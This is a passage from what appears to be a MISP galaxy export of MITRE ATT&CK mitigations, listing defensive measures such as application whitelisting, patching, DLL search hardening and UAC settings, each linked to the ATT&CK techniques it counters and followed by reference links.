- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Logon Script - T1037.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004" with estimative-language:likelihood-probability="almost-certain"

Table 4613. Table References

Links
https://attack.mitre.org/mitigations/M1022

Exploitation for Client Execution Mitigation - T1203

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Client Execution Mitigation - T1203"*

View relationships graph

Exploitation for Client Execution Mitigation - T1203 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 4614. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1203
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
https://en.wikipedia.org/wiki/Control-flow_integrity

Change Default File Association Mitigation - T1042

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)

Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Change Default File Association Mitigation - T1042"*

View relationships graph

Change Default File Association Mitigation - T1042 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 4615. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1042
https://msdn.microsoft.com/en-us/library/cc144156.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data from Removable Media Mitigation - T1025

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data from Removable Media Mitigation - T1025"*

View relationships graph

Data from Removable Media Mitigation - T1025 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

Table 4616. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1025
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exfiltration Over Physical Medium Mitigation - T1052

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: *misp-galaxy:mitre-course-of-action="Exfiltration Over Physical Medium Mitigation - T1052"*

View relationships graph

Exfiltration Over Physical Medium Mitigation - T1052 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

Table 4617. Table References

Links
https://attack.mitre.org/mitigations/T1052
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

Communication Through Removable Media Mitigation - T1092

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: *misp-galaxy:mitre-course-of-action="Communication Through Removable Media Mitigation - T1092"*

View relationships graph

Communication Through Removable Media Mitigation - T1092 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"

Table 4618. Table References

Links
https://attack.mitre.org/mitigations/T1092
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

File and Directory Discovery Mitigation - T1083

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="File and Directory Discovery Mitigation - T1083"*

View relationships graph

File and Directory Discovery Mitigation - T1083 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 4619. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1083
https://technet.microsoft.com/en-us/library/ee791851.aspx

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Search Order Hijacking Mitigation - T1038"*

View relationships graph

DLL Search Order Hijacking Mitigation - T1038 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"

Table 4620. Table References

Links
http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx
http://msdn.microsoft.com/en-US/library/ms682586
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1038
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://github.com/mattifestation/PowerSploit

File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

The tag is: *misp-galaxy:mitre-course-of-action="File System Permissions Weakness Mitigation - T1044"*

View relationships graph

File System Permissions Weakness Mitigation - T1044 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"

Table 4621. Table References

Links
http://seclists.org/fulldisclosure/2015/Dec/34
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1044
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://github.com/mattifestation/PowerSploit

System Network Connections Discovery Mitigation - T1049

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Network Connections Discovery Mitigation - T1049"*

View relationships graph

System Network Connections Discovery Mitigation - T1049 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 4622. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1049
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Service Registry Permissions Weakness Mitigation - T1058

Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Service Registry Permissions Weakness Mitigation - T1058"*

View relationships graph

Service Registry Permissions Weakness Mitigation - T1058 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"

Table 4623. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1058

Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation - T1066"*

View relationships graph

Indicator Removal from Tools Mitigation - T1066 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"

Table 4624. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://attack.mitre.org/mitigations/T1066
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Privilege Escalation Mitigation - T1068"*

View relationships graph

Exploitation for Privilege Escalation Mitigation - T1068 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 4625. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1068
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Bypass User Account Control Mitigation - T1088

Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)

The tag is: *misp-galaxy:mitre-course-of-action="Bypass User Account Control Mitigation - T1088"*

View relationships graph

Bypass User Account Control Mitigation - T1088 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 4626. Table References

Links
https://attack.mitre.org/mitigations/T1088
https://github.com/hfiref0x/UACME

Exploitation for Defense Evasion Mitigation - T1211

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica

Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"*

View relationships graph

Exploitation for Defense Evasion Mitigation - T1211 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Table 4627. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1211
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Extra Window Memory Injection Mitigation - T1181"*

View relationships graph

Extra Window Memory Injection Mitigation - T1181 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"

Table 4628. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1181
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exploitation for Credential Access Mitigation - T1212

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Credential Access Mitigation - T1212"*

View relationships graph

Exploitation for Credential Access Mitigation - T1212 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Table 4629. Table References

Links

https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1212
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

Component Object Model Hijacking Mitigation - T1122

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Component Object Model Hijacking Mitigation - T1122"*

View relationships graph

Component Object Model Hijacking Mitigation - T1122 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"

Table 4630. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1122
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data from Information Repositories Mitigation - T1213

To mitigate adversary access to information repositories for collection:

- Develop and publish policies that define acceptable information to be stored

* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
* Enforce the principle of least-privilege
* Periodic privilege review of accounts
* Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories

The tag is: *misp-galaxy:mitre-course-of-action="Data from Information Repositories Mitigation - T1213"*

View relationships graph

Data from Information Repositories Mitigation - T1213 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 4631. Table References

Links
https://attack.mitre.org/mitigations/T1213

Kernel Modules and Extensions Mitigation - T1215

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

The tag is: *misp-galaxy:mitre-course-of-action="Kernel Modules and Extensions Mitigation - T1215"*

View relationships graph

Kernel Modules and Extensions Mitigation - T1215 has relationships with:

* mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"

Table 4632. Table References

Links
http://rkhunter.sourceforge.net
http://www.chkrootkit.org/

https://attack.mitre.org/mitigations/T1215
https://patchwork.kernel.org/patch/8754821/

Network Share Connection Removal Mitigation - T1126

Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Share Connection Removal Mitigation - T1126"*

View relationships graph

Network Share Connection Removal Mitigation - T1126 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"

Table 4633. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1126
https://technet.microsoft.com/en-us/library/ee791851.aspx

Signed Script Proxy Execution Mitigation - T1216

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Signed Script Proxy Execution Mitigation - T1216"*

View relationships graph

Signed Script Proxy Execution Mitigation - T1216 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 4634. Table References

Links
https://attack.mitre.org/mitigations/T1216

Execution through Module Load Mitigation - T1129

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.

